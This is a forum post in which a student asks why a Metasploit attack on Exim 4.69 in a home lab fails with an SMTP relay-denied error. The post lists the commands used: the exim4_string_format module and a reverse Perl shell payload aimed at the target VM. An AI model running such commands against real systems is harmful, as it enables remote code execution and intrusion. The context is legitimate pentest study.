Metasploit Question

[ThatOneGuy666]

Hey im doing a test on my VPS systems i installed debian with exim 4.69

and when i run the metasploit this is what happens

[-] Exploit exception: RCPT: 550-dsl181157.$$$$$$$$$$.net (zbwQXWNO.com) [MY IP ADDRESS ] is currently not
550-permitted to relay through this server. Perhaps you have not logged into
550-the pop/imap server in the last 30 minutes or do not have SMTP
550 Authentication turned on in your email client.[*] Exploit completed, but no session was created.

Any idea? how to fix this

Okay well in class i have to write a essay on Info Sec Pentesting

So im doing mine one The Vulnerabilities of Linux Operating Systems to potential known threats

One exploit i saw that was a critical hit during its time was the Exim 4.69 Exploit


So i setup a VM network im running BT5 and i have Debian kernel Year 2010 running with Exim 4.69 default production state no installations. Well Except settig up Exim to work but other then that , thats it


I went to my Backtrack and typed in

use exploit/unix/smtp/exim4_string_format

set LHOST  my ip

set RHOST  VM ip

set PAYLOAD  cmd/unix/reverse_perl

exploit

everything goes as planned until it gets to that part and displays that error


i installed Exim 4.69 , PostFix, Smart Host , configured to allow AUTH , even configured them all to run through a SMTP on GMail

and it still does not work


What exactly am i doing wrong here
